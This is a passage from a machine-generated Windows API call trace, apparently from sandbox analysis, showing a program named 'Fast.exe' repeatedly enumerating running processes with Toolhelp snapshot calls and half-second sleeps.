cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.584] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.585] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.586] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0284.586] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.587] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.588] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.589] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.590] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0284.591] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.591] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.592] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0284.593] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0284.594] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0284.595] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0284.596] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.597] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0284.598] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0284.600] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0284.600] CloseHandle (hObject=0x1f8) returned 1 [0284.601] Sleep (dwMilliseconds=0x1f4) [0285.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x140 [0285.237] Process32FirstW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.238] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.240] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.240] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.241] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.242] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.243] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.244] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.246] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.247] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0285.248] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.249] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.249] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.250] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.251] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.252] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.253] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.253] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.255] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.256] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.257] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0285.258] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.259] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.260] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0285.261] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0285.262] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0285.263] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0285.264] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.265] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0285.266] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0285.267] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0285.268] CloseHandle (hObject=0x140) returned 1 [0285.268] Sleep (dwMilliseconds=0x1f4) [0286.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x140 [0286.351] Process32FirstW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.352] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0286.353] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0286.354] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.355] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0286.355] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.356] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0286.357] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0286.358] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0286.359] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0286.360] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.361] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.362] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.363] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.364] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.365] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0286.366] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.367] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.368] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0286.369] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.370] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0286.371] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0286.372] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0286.373] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0286.374] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0286.375] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0286.376] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0286.376] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.642] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0286.643] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0286.644] Process32NextW (in: hSnapshot=0x140, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0286.645] CloseHandle (hObject=0x140) returned 1 [0286.646] Sleep (dwMilliseconds=0x1f4) [0287.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0287.968] Process32FirstW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.970] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, 